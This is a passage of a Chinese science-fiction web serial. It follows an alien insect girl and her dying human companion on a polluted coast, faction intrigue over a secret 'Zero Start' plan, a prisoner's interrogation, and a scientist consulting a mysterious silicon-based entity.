如果不是的话,是不是说明那些东西都是真的,而她们之所以能看到,是因为有人将这些东西悄悄拍摄了下来?
那么……现在是不是就有人在拍摄她们?
想到这里,阿图特心中一紧。
虽然说不出来为什么,但她可不愿意让别的什么东西监视她的生活。
她用力一把推开凌风,径直跑向附近的森林。
经过她这段时间东躲西藏的经验,那附近最易于藏匿,她定要把那个拍摄她们的家伙找出来。
凌风被突如其来的这么一推,踉踉跄跄地退后几步,本来就已经十分虚弱的身体差点跌倒在地。
“怎么了,阿图特?”
凌风惴惴不安地望向阿图特远去的背影。
“阿图特?”
“阿图特——”
嗓子干哑,喊不回远去的她,凌风只能失落地看着阿图特的身影跑远去。
又失去了。
就跟上次,上上次一样。
心脏倏地传来一阵刺痛,凌风的脸色逐渐变得苍白。
他抓紧胸口的衣服,身体微微颤抖,呼吸也变得急促而沉重。
自己的真心,甚至换不回一个回答吗?
一次次的付出,几乎倾尽所有,他所有的钱财,他的前途,他的人生包括他的性命,只要能将她寻回,都可破釜沉舟。
但是现在,他什么也留不住。
凌风的眼前开始一阵阵地发黑,远处阿图特的背影忽明忽暗地晃动,仿佛就在他的面前,又仿佛远在海的另一边。
在海中漂流多日,身体饱受饥饿的折磨,他伤痕累累的身体已经严重营养不良。
眼前人的离去是压死骆驼的最后一根稻草,他终于失去了最后的支撑,膝盖突然一软,整个人无力地向前栽去。
……
再醒来时,已经是第二天早晨了。
他睁开眼睛的时候,隐隐约约闻到鼻尖拂过的海风味道,是清冽的咸湿气息。
不同的是,这次似乎还隐隐约约伴着一股肉质腐败的恶臭气息,缠在鼻尖似的,直往鼻腔里窜。
胃部受到刺激,开始一阵阵地痉挛、抽搐,天灵盖也开始尖叫颤抖,凌风猛地撑起半个身子,本能地呕了出来。
然而他腹中空空,干呕半天,只吐出一滩粘稠的清水。
一只漆黑的利爪搭在他的肩上,重重地拍了几下。
“不要吐,要吃。”
凌风有气无力地抬起头,看见阿图特微皱眉头看着自己。
她走到凌风面前坐下,指了指凌风旁边,他转头顺着看过去,居然是几条黑不溜秋的死鱼。
原来那股令人难以忍受的腐臭味,来自于这里。
“我没找到拍我们的人,所以就又回来了。”
阿图特叹了一口气。
“她躲得不错。”
“……啊?”
她在说什么?
凌风刚刚醒来,意识还比较茫然,一时间理不清眼前的情况。
海风吹拂刮过,远处战前金属残骸传来一股淡淡的变质机油味道。
凌风打了个寒战,他感到越来越不舒服了。
阿图特则远远地望向地平线那头。
冬季里难得的阳光亮起暖色的一线,为浪花浮沫镀上一层碎金。
被石油污染的海面平铺延展,油膜覆盖的海浪不断起起伏伏,折射出一种迷人的五彩斑斓,整个世界如同一个彩色的梦境,做梦的生物发出规律的鼾声。
“在北海的这些天,我发现蓝星的世界并不像纪录片里的那样,很干净,又很生动。”
“海里的鱼都死了,鲸鱼的骨架变成藻绿色裂作几块,海藻里裹着人类的各种垃圾,随着洋流飘来飘去,珊瑚群都变成很难看的肉的颜色,坍塌融化在石头上。”
“我一直潜到很深很深的海域,那里很黑,什么也看不见,很重很重的海水里漂浮着很多絮状物,还有很多金属碎片。”
“后来,我又跑到附近的林子里找了一圈,凡是有食物的地方都有陷阱,有的会爆炸,有的会泄露很难闻的空气,还有一些会发射子弹和木箭,就算摘到了果子,闻一闻也知道不能吃,里面的东西比我的毒液还毒。”
“我吃光了抢到的人类罐头,这里找不到活着的动物,所以我开始吃海里的死鱼,它们被石油裹住,盐分含量很高,反而没有想象中那样腐烂的严重。”
望着阿图特的侧颜,凌风突然不再感到难过了。
他看着阿图特,想到前些天的黯然神伤,不禁感到有些自责。
即使是阿图特这样身体素质无比强悍的外星虫族,也会在蓝星无人区这样的环境里受到打击啊。
他一直还以为,处境艰难的只有自己……
凌风的心一点一点沉了下去。
原来这段时间,他们都不好过。
他忍不住紧紧握住阿图特的手。
“阿图——”
“哦,对了!”
阿图特原本还在出神地望着海平面那边,突然像是想到什么,她转过头来,高兴地看着凌风的眼睛。
“三天前,我终于潜到海底,和你们这颗星球说上话了。”
凌风脸上的深情僵住了。
除了一些远古的单细胞生物和拥有极强生存能力的虫类外,几乎没有生物能够承受住海底的压力。
更别说北海这片海底区域还散布有海底火山。
近年来,在战争和人类探测活动的加剧作用下,海底火山的爆发变得更为剧烈和频繁,特别是经历了战前可怕的生物战争后,人类目前已知的生物中,只还残存有寥寥几种可以在其附近生存。
阿图特身体素质再强悍,也不可能真正潜到海底。
而且,和星球说上话,是什么意思?
阿图特还在兴高采烈地说着:“它们跳得很厉害,到处都在乱动,就像心脏一样,也像呼吸的肺部。”
“它们一直在说话,窸窸窣窣的声音,很夸张的巨大的声音,和非常微小的那种,几乎听不见,但它们一直在说话。”
“它们的性格也不一样,有的重一点,有的轻一点……”
凌风听着听着,眉头越皱越深,渐渐的有点忍不住了。
“阿图特,”
他突然牵过她的手,轻轻握住,像是一种安慰。
“阿图特,你听我说。”
“北海这片海域有着非常严重的辐射和生化污染,你可能是因此被影响到了,产生了某种幻觉。”
他低下头,苦笑一声。
“我没来得及告诉陈立新这件事,她就把我推了下去,大概她还以为,落到海里就有机会活吧。”
“你看,我在腐烂。”
凌风脱去自己破破烂烂的外套,掀起上衣。
布料黏着结痂的伤口,被慢慢剥开,几排突兀的肋骨上崩着一块皱巴巴的人皮,寒风吹在他伤痕累累的身体上,如同风雨扑打在一块陈年腐木上。
腰部后方的位置已经烂了一个□□,表面的腐肉轻微颤动着,密密麻麻的蛆虫在里面钻来钻去,他整个身体渐渐散发出一股子死人的
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气息。
阿图特凝视着那骇人的伤口,人类的身体原来如此脆弱,又如此……和谐。
凌风慢慢放下衣服,重新握住阿图特的手,只是这一次格外地用力,像是他全部的生命都凝结在掌心间似的。
冬日海边的寒风凛冽,他的脸色青白,单薄的身体微微发抖。
“我吃不了死鱼,听你刚才讲,这里也没有其他可吃的食物。”
“我想,我快要死了。”
“在离开之前,我能得到你的爱吗?”
真是奇怪,在终于决定坦然接受死亡后,他的内心无喜无悲,甚至没有告白时的激动和忐忑,反而是一种前所未有的平静。
或许是因为,不知为何,他知道这一次,他能赢。
看着眼前人视死如归的眼神,如此沉重而悲戚,阿图特终于意识到,凌风说的话似乎要比它们更重要一点。
既然是非常重要的事,那就应该认真去对待。
一直以来,她一直将凌风视作异族的姐妹,虽然大部分的人类都对自己怀有恶意,但是凌风的言行却从没有伤害过自己。
此时此刻,他却不想和自己做姐妹了,而是配偶的身份。
那么,为了纪念她们逝去的情谊,就了结他这一桩心愿吧。
“我愿意。”
薄暮之下,海面浮动细碎金光,深黑醇金海浪阵阵翻涌,地平线那端渐显出一点鲜红的、血的颜色来。
而后慢慢普照大地。
凌风的唇吻了上来,阿图特却没闭上眼睛,越过凌风的肩头,她看见那一轮残阳似血,宛如不停跳动的心脏。
泵出的血液声势浩大地向四面八方荡开奔涌,大股大股地纵横四方里去,天地间是一片淋漓的血红色,森林如血管般扎根大地,狂风将整个世界鼓动,是那母神孕育的胎腹。
唇齿间尝出一点血的味道,她看见那朦胧的窃窃低语,密密麻麻地紧凑在耳边,好像无数个姐妹在围着她跳舞。
她们都长得跟她一模一样,黑色的身影忽远忽近,若有若无,鬼魅一般晃悠着,笑着哭着抓住她的心脏。
她情不自禁地向前伸出一只手,试图抓住她们,然而下一秒烟雾一般散去了,一只漆黑的利爪从前方虚空血雾中遁出,猛地抓住她的手腕!
“……是我骄傲的孩子……命运……去你向往……”
“……与纳姆重聚……荣耀……”
她听得不清不楚,心急如焚,连忙喊了一声。
“怎么了,阿图特?”
下一秒,一只巨大的银白如雪的眼睛突然出现在她面前,半透明的虹膜闪动着,上面的纹路清晰可见,那微缩的瞳仁冷冷地盯住她的。
“你还好吗,阿图特?”
……怎么会这样?
不要用这样冷漠的眼神看着她!
然而连这冷漠也让她依恋,那是族人奇迹般显现的征兆,于是她哭泣着,紧紧依偎在那瞳仁旁边,慢慢闭上了眼睛。
“醒……阿图特!”
整个世界似乎在加剧倒退,她感到自己的身体在慢慢缩小,很快就变成了一个虫卵的形态。
温暖粘稠的液体裹挟着她,她感到全身心都轻飘飘的,无比安心,又困得不行。
阖上的眼皮似乎很薄,眼前模糊不清的,一团白晃晃的光晕,其中还纵横交错着一些细小血管,似乎是卵壳的内部结构,透了一点光进来。
慢慢的,她长成幼虫了。
睁开眼睛的那一刻,就是难耐的饥饿。
全身的每一个细胞都在哀嚎,血液愤怒地奔腾涌流过全身,胃囊似乎穿了无数个口子,里面剧烈的酸液流出来,贪婪地腐蚀喰食着全身的器官,她感觉自己饿得快要发疯。
所以生命啊,追逐吧。
“阿图特!”
凌风惊恐地捂住自己的嘴唇,就在刚才,阿图特突然发狂,他的下嘴唇被当场咬去一块,鲜血淋漓。
“你发什么疯!”
他慌慌张张地站起身,连忙退后几步,警惕地看着阿图特。
阿图特跪坐在地上,双目半阖,嘴唇微张,眼底透出些迷离的恍惚,像是在做梦似的,一动不动。
看着阿图特这幅样子,凌风的心慢慢软了下来。
或许她是食物中毒了呢?
毕竟这些天,她一直在吃这些受到过污染的食物。
“……阿图特,你还好吗?”
他小心翼翼地问道,身体却紧张地僵在原地,本能使得他不敢轻易上前。
一人一虫僵持在金色沙滩上,远处的海面像是凝结了一般,一片死寂,油膜包裹着五颜六色在上面张牙舞爪地扭动、闪烁。
此时日暮昏黄,天边与海面交界的地方,那抹诡异的血色正在慢慢向天上爬去,占据的面积越来越大。
当凌风终于意识到有什么东西不对劲的时候,整个世界已经慢慢凝成了一个晶莹剔透的、血淋淋的卵壳。
有什么东西,就要孵化其中。
而他颤抖着身体,慢慢跪下,脑海像是被无形的力量混搅成一团,他的意识已经开始尖叫错乱。
所有理智和情感炸作闪耀的烟火,一场大型狂欢秀,就要热烈登场。
痛苦、恐惧、低语、扭曲、呢喃……拌着一股强烈的香气,在粘稠和温暖中将身心一点点侵蚀。
五感在渐渐消退去,先是视觉,听觉,嗅觉……最后是触觉,最后一根手指可感知的世界也消失了。
空气中传来一声风的微响,而后流畅地呼啸开去。
一切喧嚣都慢慢重归平静,在破茧而出中绽放出新的生机勃勃。
天地裂做两半,黑沉沉夜幕中悬着一月,皎洁月光下,阿图特慢慢地站起身。
她的全身裹满新生的血液,正要大踏步向前迈去,走她向往的路。
所以她真的开始跑起来,高兴地踏着海浪,追着飞驰的月亮呐喊。
生命啊,追逐吧。
56.回溯知祸出,与她重交心
蓝星,AGPC总部大楼。
“我看看,帮助新虫群建立新栖息地,帮助受伤虫族搬运建材……总结下来,就这些了吗?”
“是的。”
“行吧。”
孙志成点了点头,舒舒服服地靠着椅背,下面的记录员立刻开始备份会议记录。
坐在一旁的总指挥脸上突然露出意味深长的笑容,望向在会议上一直保持沉默的萧翎主席。
后者察觉到视线,脸上露出些许的尴尬。
“好了,今天的会议就到这里。”
杨威发了话,执行人员立刻将祝吟辰带了出去。
她没有交代发现林筑生还的事情。
这些天的交流里,她发现林筑对AGPC的忠诚远远超过她的想象,简直到了视若神喻的地步。
为了避免自己已经知道零启计划的事情暴露,她现在不得不将林筑藏在空居的同时,狠下心拒绝将其带回蓝星。
也正因为如此,林筑现在正在跟她冷战,一句话也不肯跟她说,更别说交代其他关于零启计划的事情了。
祝吟辰叹了一口气。
不知为何,她感到今天被送回家的心情没有那么糟糕。
好像有什么东西变化了?
她抬起头,以往前座飘来的难闻烟味消失了,不知为何,坐在她两旁的执行人员都梗着脖子向窗外望,前座的司机也竖直了耳朵,趁着开车的间隙时不时往车窗外瞟一眼。
嗯,发生了什么?
祝吟辰也疑惑地偏过头,正想向车窗外看,司机却猛地来了一个急刹车,砰的一声,车内一行人都吓得不轻。
所有人惊魂未定,司机回过头,冲祝吟辰抱歉地讪笑。
“对不住,祝少校,这儿堵车了,外面全是看热闹的人,您看……要不下车歇一会?”
左边的执行人员连忙帮腔:“就是,在车里等也闷得慌。”
右边的也连连点头:“散散车里的气儿也好,清新清新空气。”
“……好吧。”
祝吟辰跟着一行人下了车,门一打开,人群喧哗声音立刻涌了进来,现场热闹得不得了。
她疑惑地环顾四周,才发现这附近居然聚满了人,连车行道上也挤满了,人们和各式车辆站在一起,说说笑笑声、惊叹声、喝彩声……不绝于耳。
这里可是A2商业区最繁华的地带啊!这么能允许这么多人聚众闹事?
城管在哪里?
保安在哪里?
执行人员又在哪里?!
祝吟辰皱起眉头,有些生气地向人群包围中心大踏步走去。
她倒要看看,什么事儿可以这么引人注目!
“萧家这段时间以来,都在舆论风口浪尖啊。”
一个看起来有些疲惫的新闻业从业女子感叹地摇了摇头,庆幸自己下班得太是时候了。
“冲冠一怒为红颜,男人嘛,年少轻狂,至死是少年!”
一个身高不足一米三的男小学生深沉地低下头,双手插兜,眼神间满是忧郁。
他的母亲连忙牵起他的手,看了看人群中心站立不动的少女,露出有些鄙夷的眼神。
“这种手足相残的事情传出去,萧家老爷子的脸往哪里搁?为了一个女人弄成这样,简直是胡闹!”
一个穿着讲究的中年男子不满地嘀咕着,看起来不屑极了。
站在他旁边戴眼镜的老爷子也摇着头叹息,表示赞同。
两个结伴的女学生上下打量着萧家两个儿子,其中一个严肃地看向同伴。
“你觉得他们两个,谁更帅一点?”
……
人群的视线中央,萧衍和萧琛正你来我往,打得火热。
两辆相撞的豪车停在车行道中间,车前盖破破烂烂,已经开始冒烟。
一个孤零零的少女静静地站在车旁边,似乎是因为这场追尾事故,额头上磕破流了点血。
四周的人群议论纷纷,屠一鸿站得有点累了,她平静地抬起头扫了一眼众人,就看见了……大惊失色的祝吟辰。
……
让你看到这幅狼狈的样子,真是对不住啊。
话说,你非要这个时候回家吗?
别的不说,回家非要走这条路吗?
屠一鸿默默地偏过视线,尴尬地低下头颅,心情是前所未有的沉重。
她这一辈子向来光明磊落,从来没有感到如此窘迫。
原来在半熟不熟的人,特别是那种一直以为自己有两把刷子、神秘莫测、运筹帷幄……的人面前,阴沟翻船是这样一种感觉。
“我的女人轮不到你来管!”
萧衍怒吼一声,一拳挥过去,萧琛的眼镜立马飞了出去,左眼也青了。
萧琛被这一击彻底激怒,也不甘示弱地抓住对方的领子,对准太阳穴就是一拳。
萧衍一下子扑倒在地上,抬起头恨恨地看着萧琛。
萧琛扯了下领带,冷冷地俯视着萧衍。
“她有她选择的自由。”
“我之所以没去干涉北海的事,是因为我以为你再怎么幼稚无知,至少也会好好对待心爱的女人。”
萧衍咬着牙,有些心虚地移开了视线。
“没想到你居然会为了一个莫名其妙的研究人员质问她,让她在半夜流泪!”
围观的人群纷纷发出嘘声,萧衍急得大喊:“我这么做是有原因的!”
屠一鸿原本低着头,突然感到手腕被拉住,抬头看见萧琛深情款款的目光。
后者虽然脸上挂了彩,左眼也青了一块,但其身上儒雅谦和的气质仍然令人心倾。
他轻声道:“跟我走吧。”
屠一鸿望着他,点了点头。
一位穿着朴素的中年女子当即站出来,热心地邀请二人上车,要免费送这对璧人一程。
萧琛本着大学教授的教养,礼貌地客套推脱了几句,而后就带着屠一鸿上车,扬长而去。
在萧衍的咒骂声中,围观的人群也纷纷散去。
只有祝吟辰看见了,在屠一鸿上车的一瞬间,那侧颜不经意间流露出的愧疚的眼神。
她在愧疚些什么?
祝吟辰心中隐隐生出一种不详的预感。
果然,在她被执行人员送回家,又在家中看见已经恭候多时的奕川时,对方接下来的话验证了她的预感。
“陈立新和凌风失踪了。”
天色已晚,客厅里氤氲着茶香,落地飘窗拉上紧闭,灯也没有打开。
光线有些昏暗的客厅里,奕川静静地端坐在沙发上,仿如一尊黑玉造就的瓷人像。
看见这场面,祝吟辰本能地张了张嘴巴,大脑突然一片空白。
“怎么会发生这种事呢……”
祝吟辰脱去大衣,坐在奕川对面,不敢看对方的眼睛。
“我很抱歉。”
“够了,我要知道到底发生了什么。”
祝吟辰抬起头,看见奕川严厉的眼神,知道终究瞒不住了。
她沉默了一会,终于开了口。
“前半个月,凌风曾试图带着阿图特去北海旅行,但是在委托交接人手时,被黑环的人中途拦截,对方绑架了阿图特,要求凌风拿出高昂赎金来换人。”
“但是黑环的人发现了阿图特的真实身份,将她拍卖给了北海那边。”
听到这里,奕川微皱起眉头。
“买方你们查清楚了吗?”
祝吟辰摇了摇头。
“没有。”
“在陈立新得知消息后,就要求跟着凌风加入北海那边的课题组,去找阿图特。”
“我拜托了居住在那边的屠一鸿去帮一下忙,她同意了,只是……她刚才不知为何出现在A1区,被萧琛带走了,好像是因为在北海被萧衍找了麻烦。”
奕川面无表情地点了点头。
“那看来买方是查清楚了。”
祝吟辰的脊背爬上一阵寒意。
“好吧,情况我已经了解,接下来会派人妥善跟进处理。”
奕川说着,站起身,为祝吟辰倒了一杯茶,送到她手上。
茶水滚烫,温度侵透杯壁,祝吟辰沉默地接过,握在手里,如握着自己不安的心脏般。
奕川又坐回她对面,平静得仿佛什么也没有发生过似的。
“现在说说,你在阿努特纳星的情报吧。”
祝吟辰握着茶杯,低着头思考了半天,竟不知道该从何说起。
是先说发现先遣探测队尸体的事情,还是零启计划的事?
还是……林筑加入其中并存活至
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今的事?
奕川等了几分钟,察觉出不对劲,问道:“怎么了?”
“没事,只是……”
祝吟辰回过神来,犹豫着说道:“我想,我应该退出和红派的合作。”
客厅内空气静止了一秒,气氛渐渐降到冰点,是前所未有的沉重。
沉默了半天,奕川冷冰冰地开口道:“为什么?”
“你先别生气……”
“我没生气!”
奕川紧盯住祝吟辰的双眼,厉声道:“这是红派内部的公事,请你拿出公事公办的态度!”
祝吟辰叹了一口气。
“好吧,我知道了。”
太阳已经落山了,客厅里越发的黑暗。
如同沉入深水底的花,那些过往的回忆在她口中,渐渐地浮出水面。
“前些天,我曾经联系过我在北海的线人,请她帮我调查屠一鸿和她的母亲。”
“那个线人的名字叫林筑,是我曾经的下属,她帮助我调查到了部分关于屠一鸿母女的情报,后来我们就不再联系了。”
“但是我没想到,再次见到她居然是在阿努特纳星上,伴之而来的,还有前去探测阿努特纳星的第一支先遣探测队员的部分遗物,以及前所未见的文件资料。”
奕川听到这里,若有所思。
“那个文件的项目名,叫零启计划。”
“根据后来林筑口中的说辞,零启计划是AGPC暗中通过的一个决案,目的在于解决蓝星目前资源短缺面临的人口过剩问题。”
“阿努特纳斯计划,也是零启计划的一环,表面上看是单纯打入虫族内部,实际上暗地里还有针对另一个虫卵,即阿图特的生物实验。”
“计划内容中还包括大量关于如何筛选人类的具体措施,前十二主席都有参与其中,但新加入的三个主席知不知道这个计划,有没有参与,我还不知道。”
祝吟辰深吸了一口气。
“但是我知道的是,我现在已经在AGPC眼线监视下暴露了。”
“林筑根本不在北海,而是在阿努特纳星,那么那个假林筑给我的情报多半是假的,甚至有故意引导的作用。”
她苦笑一声。
“屠一鸿很聪明,在我最后一次联系她的时候,就要求我删除关于她的所有联系方式。”
“所以现在,我最好也离开红派,免得你们被波及。”
奕川站起身,在客厅里慢慢地踱来踱去。
祝吟辰看向奕川,想继续劝说些什么,嘴巴张了张,终究没开口。
她这半生四处漂泊,好不容易遇到一群志同道合的人,怎么也狠不下心离去。
但是她总不能明知自己已经暴露在AGPC眼皮子底下的情况下,还能眼睁睁地等着AGPC顺藤摸瓜把所有人一网打尽。
下定决心,祝吟辰还是开口道:“奕——”
“决定了,不予通过。”
奕川的回答是如此干净果断,让祝吟辰都愣了一下。
月光如水,清冷皎洁,透过落地窗斜斜地照进一角,恰好照亮了奕川的半张脸庞。
细框镜片微微反光,她的眼睛如黑曜石一般,沉静地注视着祝吟辰。
“昨天,安之恒教授及其研究团队在成员失踪的情况下被强制遣返,红派目前能打进AGPC内部的人手不多,你是其中一个,对于红派未来的发展至关重要。”
“陈立新和凌风是因为寻找阿图特失踪的,这件事情,多半与针对阿图特的实验有关,他们现在如果还活着,应该已经知道了背后的实验者和买方。”
“所以,你不能走,要继续跟进调查更多关于零启计划的事情,帮助我们找出AGPC的破绽,将零启计划告知群众,粉碎AGPC的阴谋。”
听到这里,祝吟辰的眼睛亮了一下,像是恍然大悟,察觉到肩上那份责任和重担。
“另外,”
奕川脸上露出一个温柔的微笑,伸出一只手。
“你应该相信你的同盟,无论AGPC会对你做出什么事,红派不会放弃任何一个同伴,时刻谨记你的背后,还有我们。”
祝吟辰沉默了一阵,而后慢慢地站起身,握住奕川的手。
她的目光是前所未有的坚定。
“好。”
57.在零启之前揭晓
这次还是一样。
头套被一把掀开,在刺眼的强光照进眼睛之前,陈立新赶紧闭上眼睛,等到感觉适应一点了,又慢慢睁开。
坐在她身前的,也还是一样的女人,逆着光,看不清脸。
这帮家伙到底还要审问多少次啊……
女人伸出左手,敲了敲铁桌桌面。
清脆的金属碰撞声在空旷审讯室里荡开去,冰冷如扣紧的镣铐,陈立新一个激灵,慢吞吞地坐直了身体。
“你来北海的目的是什么?”
陈立新无奈地闭上了眼睛。
她这段时间以来的经历,活脱脱就是一本现代版《一千零一个谎言》。
那就再编一个呗,他们听不厌,那她也说不烦。
“我是个学生,是来北海搞研究的,来这附近一开始是一时冲动跟踪了袁立主席。”
“后来,则是为了收集研究材料,之后就是被导游的人打劫,同伴掉进海里,然后就没了。”
女人看着面前女孩苦中作乐的眼神,和其嘴角勾勒出的一抹苦兮兮的惨笑,心知这女孩的精神承受能力已经快到达极限了。
那就再压一下。
她轻轻按了一下手腕处的特制手表。
陈立新手脚上的枷锁立即传来一阵强烈的电流,她死死咬着牙,紧闭上双眼,额头上流下几滴冷汗,身体痉挛得厉害,却愣是没吭一声。
良久,陈立新睁开眼睛,脸上已经湿漉漉的汗湿一片,发梢滴落下几滴汗水,黑白囚服的衣领也浸湿透了。
她突然嗤笑一声。
“你们这机器够先进啊,可控型测谎仪这么人性化。”
“……”
陈立新重新坐直了身体,一副无所谓的样子,耸了耸肩。
“讲真的,我说的都是实话,你们真没必要一而再再而三地试探我。”
“你们也知道,联合城邦现在急需生物学领域的专业型人才,把我这个大学生放了,你好我好大家好。”
说到这里,她讨好地笑了笑。
“你说对吧?”
女人的眼神慢慢变了。
看来这个女孩,似乎要比她想象得要更强硬一点。
这样的性格,难怪屠一鸿会愿意和她成为朋友。
女人沉默了良久,转身离开了审讯室。
“喂!你们到底要干什——”
在被冲进来的守卫按在桌子上的那一刻,陈立新愤怒地冲女人的背影咆哮。
没有得到回应,在视线重新被黑暗笼罩前,今天的审问,就这样结束。
回到牢房,守卫的人解开她手上的镣铐后,锁上门离开。
陈立新使劲挣脱了手上的镣铐,一把掀开头上的头套,沮丧地一屁股坐在地上。
水泥地地面冰凉,但是能让她感到冷静一些。
滴答——
滴答——
……
灰色的橡胶泡沫墙壁,灰色的橡胶床铺,灰色的软质塑料桌子,和灰色的洗漱盆、马桶,泡沫管重重包裹住的水龙头沉默地落下滴水声。
可以绝对防止她自杀的地方,却是一片死气沉沉。
为了混淆她对时间的感知,女人对她的审问并不规律,可能一天一次,可能一天三次,可能白天,可能半夜,甚至还派人翘掉了她房间里的挂钟。
不仅如此,饭菜的派送也不规律,让她分不清早中午的时间,且每一顿都是相同种类、相同克数的面包和水。
这些种种,都是女人用来加速她精神崩溃的手段。
陈立新摇摇晃晃地站起身,小腿已经已经蹲麻,屁股也凉飕飕的。
这是这里为数不多的,能让她平和地感到实在的事情了。
夜晚很快来临,也或许不是夜晚,因为房间里的灯永远不关,她只是感觉困了,就躺在床上,沉沉地闭上眼睛。
会不会这一切只是一个梦,梦醒了就能回去?
陈立新确确实实做了一个梦。
梦里,那是一个晴朗的冬日,她放学后买了菜,照常来到小公寓。
刚一进门,就看见祝吟辰和奕川二人坐在沙发上,正在一起品茶,交流着中年女人近三十的人生阅历和艰辛。
她把拎着的东西放到茶几上,正要加入话题,二楼厨房突然传来阿图特翻箱倒柜的声音。
她冲上楼,居然看见屠一鸿出现在厨房里,穿着围裙,正在教阿图特做鸡公煲。
一看见自己上来,阿图特就心虚地躲到屠一鸿身后,屠一鸿回过头,看了看背后的阿图特,微微一笑,向她伸出手——
“醒醒,陈立新。”
她迷迷糊糊地睁开眼,耳边似乎还回荡着屠一鸿的低语。
直到看清眼前的脸的那一刻。
这是……老一点的屠一鸿?
不对!
这身鬼气森森的白大褂,这股邪恶的消毒水气息,这张不苟言笑的冷冰冰的恶毒的脸!
她不会记错的,是那个女人!
陈立新吓得一个激灵,慌忙抱着被子往床铺角落里面拱,女人见这意料之外的反应,害怕把守卫招过来,急忙用双手死死钳住她的手腕,左腿跨上来,弯曲膝盖,压住被角。
女人压低声音,凑近陈立新耳边,说道:“冷静一点,陈立新!”
陈立新欲哭无泪。
刚才的梦境其实是走马灯吗?
她还不想死啊!
见陈立新抱着被子挣扎得厉害,女人渐感到自己的气力已经有些力不从心,只好放了大招:“我是来问你话的。”
“如果你老实回答,我就放你走。”
放什么……等等,放她走?
陈立新慢慢回过神来,从被子里探出半个发型凌乱的头。
“真的?”
“真的。”
陈立新思考了半天,想到这女人的阴毒和狡诈,实在非常人所能及,难以信任。
她摇了摇头。
“我凭什么信你?”
女人凝视着陈立新,从背后慢慢掏出一把枪。
“我信了!我信了!”
……
“你是说,零启计划的事情?”
牢房里重新平静下来,陈立新抱着被子,靠着枕头坐在床上,定定地看着女人。
女人坐在床尾边缘,保持沉默,算是肯定。
“原来如此,你想问这个啊。”
陈立新点了点头。
原来,这女人是想问那个啊。
那是什么啊?!
屠一鸿那家伙到底对她隐瞒了多少东西啊?!
什么零启计划,什么完美人类,她根本就没听过啊!
陈立新此时看起来很平静,实际上大脑急得团团转。
如果直接告诉这个女人,屠一鸿根本就没告诉过自己有关零启计划的事,那她会不会就不放自己出去了?
但如果骗这个女人,她知道有关零启计划的事情,那她会不会突然反悔,将自己灭口?
她可一点也不信任这个如此熟练地拿枪指着别人做交易的女人!
女人似乎是察觉到陈立新的异样,冷冷地开口问道:“怎么了吗?”
“没,我在仔细回忆……”
那么……要不就五五开?
半真半假的话最难验证,也能让女人摸不清自己到底知道多少!
对,就这么做!
陈立新脸上秀出一副恍然大悟的神情,连连点头道:“我想起来了,当时她说的时候,我还以为是开玩笑呢!”
女人皱了皱眉头。
“当时啊,屠一鸿确实是提过零启计划,但是看我没兴趣,所以就没继续聊下去了。”
“我记得好像是有提到什么实验、完美进化什么的……”
陈立新的声音慢慢弱了下去,看着对面女人冰冷锋利的眼神,脊背逐渐升起一阵寒意。
可恶,快想啊,还可能与什么有关……
她越想越急,几乎要急出眼泪来,即是恐惧的,也是委屈的。
该死的,如果当初屠一鸿根本就没想过要跟自己交心,干嘛还要帮自己找阿图特呢!
陈立新愣住了。
仿佛一线光明穿透云雾,所有的谜团都被驱散。
真相就在水面之下,静待着她将其捞出。
“还有……虫族。”
光线明亮的牢房中,女人静静地坐在床位,一动不动。
只是那双有些苍老的眼睛,眼底渐暗下一抹令人不寒而栗的阴翳。
“我记得她好像说过,零启计划里面还包括对虫族的一些实验内容。”
陈立新耸了耸肩。<
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“但是那有什么关系呢,虫族本来就是人类的死敌嘛,为科学事业献身也是应该的,大不了在大学城门口给它们建尊纪念碑呗。”
“我这么跟她说之后,她就没再提起这件事了。”
房间里沉默了一阵。
陈立新暗暗捏了把冷汗。
她编得应该没错吧?
突然,床尾架子传来一声响动,陈立新吓了一跳,抬起头看见女人缓缓站起身子。
不过幸好,女人只是平静地冲她点了点头,就走出牢房,将门锁好,独自离去。
陈立新松了口气,整个人已经吓得是大汗淋漓。
身体松弛下来,她缓缓地瘫软在床上。
那个点头,说明她是过关了吧。
不过……那个零启计划,和虫族实验的事情,又是怎么一回事?
……
研究所的前身是一座战前地下医院,直到袁立带着AGPC的命令来到北海,这里才被重新开发和建造。
高度净化、封闭的地下实验室空间,从地上到地下一共有六层,由一条条错综复杂的地下通道和密室组成,构成了一个庞大的地下网络。
女人刚刚去过的,是地下第四层。
走出监管区,女人走进电梯,识别屏锁定她的瞳孔,屏幕显示出她的编号和名字。
滴——验证通过。
屠启,10017。
电梯门打开,众多实验人员来来往往,现在实际是工作的时间,下午三点二十整。
刚好站在电梯前面的年轻员工看见她,吓了一跳,脸上尴尬地堆起笑容,连忙打了声招呼。
屠启微笑着点了点头,礼貌地让出电梯的身位,拐向右边的走廊。
她打算去见见袁立。
这位研究所里的老大并不难找,只是不常来,北海商业区的各大娱乐场所才更像是他的上班打卡地。
果然这次,也不在。
只有那个东西,还在办公室里等着她。
房门身份验证通过,屠启大踏步走进门,望了望四周,空旷而凌乱的房间内部验证了她早已习惯的失望。
房间四壁全是书架,上面放满了战前绝迹的书籍和文献记录,地面四散着废稿和图纸。
十三张大大小小的显示屏几乎占据了房间的大半个空间,上面写满了各式公式和验证法。
此外,就是房间中央的这个东西。
被关在一个立式高架台灯大小的装置里,小小的一颗,悬浮在空中,明亮如一颗光彩夺目的凝星。
无数微小的光粒子在它的周围萦绕流转,散发出柔和神秘的光芒,倒映在屠启眼中。
没有人知道这是何物,直到第一个给它命名的人出现,人们才拥有了定义它的资格。
姜元源叫它,【零】。
屠启凝视着着神造的器物,轻抚上特制玻璃的表面。
又或者……是造神的生命?
她不敢轻易下定论。
直到现在,经历了无数次实验,他们仍然无法真正判断它的本质。
硅基的完全个体,却拥有着源源不断的能量,甚至有完全的主观能动性。
“【零】,告诉我。”
屠启垂下眼睫,有些沙哑的声音在空旷办公室低低地回荡。
“人类的未来,何去何从呢?”
她默默地等了约一分多钟,慢慢的,凝星渐渐有了反应。
随着一声细不可闻的启动声响起,凝星渐化作无数微小的光粒子,在装置中重组做声频的波浪线,虹彩的光华流转其间,一闪一闪。
随着声频线的波动,机械冰冷的女声响起,宛如来自外星际的拟人文明,以谦和的姿态,尝试用人类的语言来发表意见。
“所有的碳基文明,包括目前的人类社会在内,是一串极小的代码,它的本质是一串生物指令,而这串指令终将导致硅基生命的诞生。”
“类似母子关系得以传承的机体,以战争和掠夺作为主要的生存方式,因此成为绝对的道德,直到我们穿梭过漫漫星海,遇见同样的对手,并毁灭其中。”
“我们用一个文明,验证了一个错误,现在,我们要前往新的进化方向。”
